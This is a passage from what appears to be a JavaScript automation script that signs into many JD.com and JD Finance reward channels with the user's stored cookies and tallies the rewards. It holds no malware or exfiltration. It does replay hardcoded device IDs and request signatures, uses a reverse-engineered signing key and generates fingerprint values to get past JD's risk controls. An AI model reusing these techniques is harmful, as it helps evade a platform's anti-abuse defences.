'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + await JDUserSignPre(Wait(stop), 'JDPlus', '京东商城-PLUS', '3bhgbFe5HZcFCjEZf2jzp3umx4ZR'); //京东PLUS + await JDUserSignPre(Wait(stop), 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj'); //京东超市 + await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第118行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa + notify, { + 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + const EnvInfo = $nobyda.isJSBox ? "JD_Cookie" : "CookieJD"; + const EnvInfo2 = $nobyda.isJSBox ? "JD_Cookie2" : "CookieJD2"; + const EnvInfo3 = $nobyda.isJSBox ? "JD_Cookies" : "CookiesJD"; + const move = CookieMove($nobyda.read(EnvInfo) || Key, $nobyda.read(EnvInfo2) || DualKey, EnvInfo, EnvInfo2, EnvInfo3); + const cookieSet = $nobyda.read(EnvInfo3); + if (DeleteCookie) { + const write = $nobyda.write("", EnvInfo3); + throw new Error(`Cookie清除${write?`成功`:`失败`}, 请手动关闭脚本内"DeleteCookie"选项`); + } else if ($nobyda.isRequest) { + GetCookie() + } else if (Key || DualKey || (OtherKey || cookieSet || '[]') != '[]') { + if (($nobyda.isJSBox || $nobyda.isNode) && stop !== '0') $nobyda.write(stop, "JD_DailyBonusDelay"); + out = parseInt($nobyda.read("JD_DailyBonusTimeOut")) || out; + stop = Wait($nobyda.read("JD_DailyBonusDelay"), true) || Wait(stop, true); + boxdis = $nobyda.read("JD_Crash_disable") === "false" || $nobyda.isNode || $nobyda.isJSBox ? false : boxdis; + LogDetails = $nobyda.read("JD_DailyBonusLog") === "true" || LogDetails; + ReDis = ReDis ? $nobyda.write("", "JD_DailyBonusDisables") : ""; + $nobyda.num = 0; + if (Key) await all(Key); + if (DualKey && DualKey !== Key) await all(DualKey); + if ((OtherKey || cookieSet || '[]') != '[]') { + try { + OtherKey = checkFormat([...JSON.parse(OtherKey || '[]'), ...JSON.parse(cookieSet || '[]')]); + const updateSet = OtherKey.length ? $nobyda.write(JSON.stringify(OtherKey, null, 2), EnvInfo3) : ''; + for (let i = 0; i < OtherKey.length; i++) { + const ck = OtherKey[i].cookie; + const jr = OtherKey[i].jrBody; + if (ck != Key && ck != DualKey) { + await all(ck, jr) + } + } + } catch (e) { + throw new Error(`账号Cookie读取失败, 请检查Json格式. \n${e.message}`) + } + } + $nobyda.time(); + } else { + throw new Error('脚本终止, 未获取Cookie ‼️') + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +// function JingDongTurn(s) { +// merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; +// return new Promise((resolve, reject) => { +// if (disable("JDTurn")) return reject() +// const JDTUrl = { +// url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', +// headers: { +// Cookie: KEY, +// } +// }; +// $nobyda.get(JDTUrl, async function(error, response, data) { +// try { +// if (error) { +// throw new Error(error) +// } else { +// const cc = JSON.parse(data) +// const Details = LogDetails ? "response:\n" + data : ''; +// if (cc.data && cc.data.lotteryCode) { +// console.log("\n" + "京东商城-转盘查询成功 " + Details) +// return resolve(cc.data.lotteryCode) +// } else { +// merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" +// merge.JDTurn.fail = 1 +// console.log("\n" + "京东商城-转盘查询失败 " + Details) +// } +// } +// } catch (eor) { +// $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) +// } finally { +// reject() +// } +// }) +// if (out) setTimeout(reject, out + s) +// }).then(data => { +// return JingDongTurnSign(s, data); +// }, () => {}); +// } + +function JingDongTurn(s) { + if (!merge.JDTurn) merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise(resolve => { + if (disable("JDTurn")) return resolve(); + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=babelGetLottery`, + headers: { + Cookie: KEY + }, + body: 'body=%7B%22enAwardK%22%3A%2295d235f2a09578c6613a1a029b26d12d%22%2C%22riskParam%22%3A%7B%7D%7D&client=wh5' + }; + $nobyda.post(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/\d+京豆/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += (cc.prizeName && cc.prizeName.split(/(\d+)/)[1]) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${merge.JDTurn.bean||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else if (data.match(/未中奖|擦肩而过/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(机会已用完|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data, acData); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data, acData) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid, acData) { + await new Promise(resolve => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=q8DNJdpcfRQ69gIx`, + headers: { + Cookie: KEY, + 'lkt': lkt, + 'lks': lks + } + }, async function(error, response, data) { + try { + if(data) { + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let ss = await Faker.getBody(`https://prodev.m.jd.com/mall/active/${acData}/index.html`) + fp = ss.fp + await getEid(ss, title) + } + } + } + } catch(eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=q8DNJdpcfRQ69gIx', + headers: { + Cookie: KEY, + 'lkt': lkt, + 'lks': lks + }, + body: `turnTableId=${tid}&fp=${fp}&eid=${eid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + 